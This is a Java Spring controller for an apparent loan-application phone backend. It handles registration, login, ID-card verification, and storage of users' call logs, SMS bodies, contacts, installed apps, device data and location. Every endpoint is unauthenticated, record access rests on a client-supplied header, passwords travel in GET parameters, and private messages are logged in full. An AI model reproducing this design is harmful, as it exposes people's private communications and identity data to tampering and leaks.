package com.ruoyi.project.system.controller;

import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONObject;
import com.ruoyi.common.constant.CacheConstants;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.exception.user.CaptchaException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.ServletUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.file.FileUploadUtils;
import com.ruoyi.framework.aspectj.lang.annotation.Anonymous;
import com.ruoyi.framework.config.RuoYiConfig;
import com.ruoyi.framework.interceptor.annotation.RepeatSubmit;
import com.ruoyi.framework.redis.RedisCache;
import com.ruoyi.framework.web.controller.BaseController;
import com.ruoyi.framework.web.domain.AjaxResult;
import com.ruoyi.project.system.domain.PhoneLogin;
import com.ruoyi.project.system.domain.SiyuQuery;
import com.ruoyi.project.system.domain.dto.*;
import com.ruoyi.project.system.mapper.SiyuQueryMapper;
import com.ruoyi.project.system.mapper.SysPhoneMapper;
import com.ruoyi.project.system.service.TencentService;
import com.tencentcloudapi.faceid.v20180301.models.CheckIdCardInformationResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import java.io.IOException;
import java.util.List;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

@Anonymous
@RestController
@RequestMapping("/phone")
public class PhoneController extends BaseController {

    @Autowired
    private RedisCache redisCache;

    @Autowired
    private SysPhoneMapper spm;

    @Autowired
    private SiyuQueryMapper sqm;

    @Autowired
    private TencentService tencentService;

    private static final Logger logger = LoggerFactory.getLogger("phone_info");

    private static final Logger logger_ = LoggerFactory.getLogger("stacktrace_info");

    // 异常信息
    @RepeatSubmit
    @PostMapping("/stacktrace")
    public void errInfo(@RequestBody JSONObject info) {
        logger_.info(info.toJSONString());
    }

    @PostMapping("/register")
    public AjaxResult checkRegister(@RequestBody PhoneLogin phoneLogin) {
        if (phoneLogin.getQueryId() == null) {
            return error("进件单号不能为空");
        } else if (StringUtils.isEmpty(phoneLogin.getPassword())) {
            return error("密码不能为空");
        } else if (phoneLogin.getPassword().length() < UserConstants.PASSWORD_MIN_LENGTH || phoneLogin.getPassword().length() > UserConstants.PASSWORD_MAX_LENGTH) {
            return error("密码长度必须在5到20个字符之间");
        }
        String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + phoneLogin.getTel();
        String captcha = redisCache.getCacheObject(verifyKey);
        if (StringUtils.isEmpty(captcha)) {
            return error("验证码失效");
        }
        if (!captcha.equalsIgnoreCase(phoneLogin.getCode())) {
            throw new CaptchaException();
        }
        // MGZ TODO 2025/5/11:此处取消备注
        redisCache.deleteObject(verifyKey);

        PhoneLogin info = spm.queryLoginAccount(phoneLogin.getQueryId());
        if (info == null) {
            phoneLogin.setPassword(SecurityUtils.encryptPassword(phoneLogin.getPassword()));
            phoneLogin.setAccount("FK" + (15000 + phoneLogin.getQueryId()));
            spm.addPhone(phoneLogin);
            spm.addLoginAccount(phoneLogin);
            return success("申请注册成功");
        } else {
            info.setTel(phoneLogin.getTel());
            info.setPassword(SecurityUtils.encryptPassword(phoneLogin.getPassword()));
            spm.updateLoginAccount(info);
            return success("已申请注册");
        }
    }

    @RepeatSubmit
    @GetMapping("/login")
    public AjaxResult login(PhoneLogin phoneLogin) {
        if (StringUtils.isEmpty(phoneLogin.getAccount()) || StringUtils.isEmpty(phoneLogin.getPassword())) {
            return warn("缺少参数");
        }
        PhoneLogin login = spm.login(phoneLogin.getAccount());
        if (login == null) {
            return warn("您未申请注册");
        }
        if (SecurityUtils.matchesPassword(phoneLogin.getPassword(), login.getPassword())) {
            return success("登录成功").put("queryId", login.getQueryId());
        } else {
            return warn("密码错误");
        }
    }

    @GetMapping("/stateStep")
    public AjaxResult stateStep() {
        String queryId = ServletUtils.getRequest().getHeader("queryId");
        if (StringUtils.isEmpty(queryId)) {
            return warn("缺少参数");
        }
        Integer queryId_ = Integer.parseInt(queryId);
        AjaxResult result = new AjaxResult();
        try {
            result.putAll(spm.getSteps(queryId_));  // 0 N ;1 Y

            result.put("location", StringUtils.isEmpty(spm.getStep(queryId_, "location")) ? 0 : 1);
            result.put("device", StringUtils.isEmpty(spm.getStep(queryId_, "device")) ? 0 : 1);
            result.put("baseInfo", StringUtils.isEmpty(spm.getStep(queryId_, "baseInfo")) ? 0 : 1);

            String cardAuth = spm.getStep(queryId_, "cardAuth");
            if (StringUtils.isEmpty(cardAuth)) {
                result.put("cardAuth", 0);
            } else {
                JSONObject imgAuthResp = JSON.parseObject(cardAuth);
                if ("Success".equals(imgAuthResp.getString("Result"))) {
                    SiyuQuery query = sqm.selectSiyuQueryByQueryId(queryId_);
                    if (query.getName().equals(imgAuthResp.getString("Name")) && query.getCardNo().equals(imgAuthResp.getString("IdNum"))) {
                        // 5. 证件与输入三要素一致 发起人脸核验
                        result.put("cardAuth", 1);
                    } else {
                        result.put("cardAuth", 2);   //  上传证件与录入身份证号不一致
                    }
                } else {
                    result.put("cardAuth", 3);   //  证件核验失败
                }
            }
            result.put("accountState", StringUtils.isEmpty(spm.state(Integer.parseInt(queryId))) ? 0 : 1);  // 0：账号已注销  1：账号状态正常
            result.put("code", 200);
            result.put("msg", "成功");
        } catch (Exception e) {
            result.put("code", 400);
            result.put("msg", e.getMessage());
        }
        return result;
    }

    // 基础信息
    @RepeatSubmit
    @PostMapping("/baseInfo")
    public AjaxResult baseInfo(@RequestBody JSONObject info) {
        String queryId = ServletUtils.getRequest().getHeader("queryId");
        if (StringUtils.isEmpty(queryId)) {
            return warn("缺少参数");
        }
        Integer queryId_ = Integer.parseInt(queryId);
        if (info == null || info.isEmpty()) {
            return warn("无数据");
        }
        return toAjax(spm.setBaseInfo(queryId_, info.toJSONString()));
    }

    // 接收设备信息/位置信息
    @RepeatSubmit
    @PostMapping("/deviceAndLocation")
    public AjaxResult deviceAndLocation(@RequestBody JSONObject info) {
        String queryId = ServletUtils.getRequest().getHeader("queryId");
        if (StringUtils.isEmpty(queryId)) {
            return warn("缺少参数");
        }
        Integer queryId_ = Integer.parseInt(queryId);
        if (info.containsKey("device")) {
            spm.setDevice(queryId_, info.getJSONObject("device").toJSONString());
        }
        if (info.containsKey("location")) {
            spm.setLocation(queryId_, info.getJSONObject("location").toJSONString());
        }
        return success();
    }

    @Transactional
    @PostMapping("/info")
    public AjaxResult info(@RequestBody JSONObject info) {
        String queryId = ServletUtils.getRequest().getHeader("queryId");
        if (StringUtils.isEmpty(queryId)) {
            return warn("缺少参数");
        }
        if (info == null || info.isEmpty()) {
            return warn("无数据");
        }
        logger.info("queryId::" + queryId + "——>" + info); // 记录日志

        Integer queryId_ = Integer.parseInt(queryId);
        if (info.containsKey("appAuth")) {
            logger.info("appAuths::" + queryId + "——>" + info.getJSONArray("appAuth").size());
            List<AppAuth> appAuths = info.getJSONArray("appAuth").toJavaList(AppAuth.class);
            if (!appAuths.isEmpty()) {
                for (AppAuth appAuth : appAuths) {
                    appAuth.setQueryId(queryId_);
                    if (appAuth.getFirstInstallTime() == null) {
                        appAuth.setFirstInstallTime("");
                    }
                    if (appAuth.getLastUpdateTime() == null) {
                        appAuth.setLastUpdateTime("");
                    }
                }
                spm.insertAppAuth(appAuths);
            }
            spm.passBackResult(queryId_, "appAuth");
        }
        if (info.containsKey("callLog")) {
            logger.info("callLogs::" + queryId + "——>" + info.getJSONArray("callLog").size());
            List<CallLog> callLogs = info.getJSONArray("callLog").toJavaList(CallLog.class);
            if (!callLogs.isEmpty()) {
                for (CallLog callLog : callLogs) {
                    callLog.setQueryId(queryId_);
                }
                spm.insertCallLog(callLogs);
            }
            spm.passBackResult(queryId_, "callLog");
            spm.passBackResult(queryId_, "textMessage");
        }
        if (info.containsKey("textMessage")) {
            logger.info("textMessages::" + queryId + "——>" + info.getJSONArray("textMessage").size());
            List<TextMessage> textMessages = info.getJSONArray("textMessage").toJavaList(TextMessage.class);

            if (!textMessages.isEmpty()) {
                for (TextMessage textMessage : textMessages) {
                    textMessage.setQueryId(queryId_);

                    if (StringUtils.isEmpty(textMessage.getAddress())) {
                        textMessage.setAddress("");
                    }
                    if (StringUtils.isEmpty(textMessage.getBody())) {
                        textMessage.setBody("");
                    }
                    if (StringUtils.isEmpty(textMessage.getDate())) {
                        textMessage.setDate("");
                    }
                }
                spm.insertTextMessage(textMessages);
            }
            spm.passBackResult(queryId_, "callLog");
            spm.passBackResult(queryId_, "textMessage");
        }
        if (info.containsKey("addressBook")) {
            logger.info("addressBooks::" + queryId + "——>" + info.getJSONArray("addressBook").size());
            List<AddressBook> addressBooks = info.getJSONArray("addressBook").toJavaList(AddressBook.class);

            if (!addressBooks.isEmpty()) {
                for (AddressBook addressBook : addressBooks) {
                    addressBook.setQueryId(queryId_);

                    if (StringUtils.isEmpty(addressBook.getDisplayName())) {
                        addressBook.setDisplayName("");
                    }
                    if (addressBook.getPhones() == null) {
                        addressBook.setPhones_("");
                    } else {
                        for (Phone phone : addressBook.getPhones()) {
                            phone.setValue(phone.getValue().replace(" ", "").replace("-", "").replace("+", ""));
                        }
                        addressBook.setPhones_(JSON.toJSONString(addressBook.getPhones()));
                    }
                }
                spm.insertAddressBook(addressBooks);
            }
            spm.passBackResult(queryId_, "addressBook");
        }
        return success();
    }

    // 接收基础信息
    @RepeatSubmit
    @PostMapping("/apkAddRefer")
    public AjaxResult apkAddRefer(@RequestBody JSONObject params) {
        String queryId = ServletUtils.getRequest().getHeader("queryId");
        if (StringUtils.isEmpty(queryId)) {
            return warn("缺少参数");
        }
        return toAjax(spm.setBaseInfo(Integer.parseInt(queryId), params.toJSONString()));
    }

    // 证照上传认证
    @RepeatSubmit
    @PostMapping("/authImg")
    public AjaxResult authImg(@RequestParam("files") List<MultipartFile> files) throws IOException {
        String queryId = ServletUtils.getRequest().getHeader("queryId");
        if (StringUtils.isEmpty(queryId)) {
            return warn("缺少参数");
        }
        Integer queryId_ = Integer.parseInt(queryId);
        // 1. 保存证照文件
        String filePath = RuoYiConfig.getUploadPath();
        String frontImg = FileUploadUtils.upload(filePath, files.get(0)).replace("/profile/upload", "");
        String backImg = FileUploadUtils.upload(filePath, files.get(1)).replace("/profile/upload", "");
        String handImg = FileUploadUtils.upload(filePath, files.get(2)).replace("/profile/upload", "");
        // 2. 写入路径
        spm.setCardImg(queryId_, frontImg, backImg, handImg);
        // 4. 发起证照核验
        CheckIdCardInformationResponse imgAuthResp;
        try {
            imgAuthResp = tencentService.imgAuth(files.get(0).getBytes());
            imgAuthResp.setPortrait(null);
            String authImg = ""; // MGZ TODO 2025/5/11: 值入认证时人脸照
            spm.setCardAuthImg(queryId_, JSON.toJSONString(imgAuthResp), authImg);
        } catch (Exception e) {
            e.printStackTrace();
            return success(e.getMessage()).put("status", 210);
        }
        if ("Success".equals(imgAuthResp.getResult())) {
            SiyuQuery query = sqm.selectSiyuQueryByQueryId(queryId_);
            if (query.getName().equals(imgAuthResp.getName()) && query.getCardNo().equals(imgAuthResp.getIdNum())) {
                // 5. 证件与输入三要素一致 发起人脸核验
                return success("证件上传核验成功").put("status", 200);
            } else {
                return success("上传证件与录入身份证号不一致").put("status", 210);
            }
        }
        return success(imgAuthResp.getWarnings()).put("status", 210);
    }

}
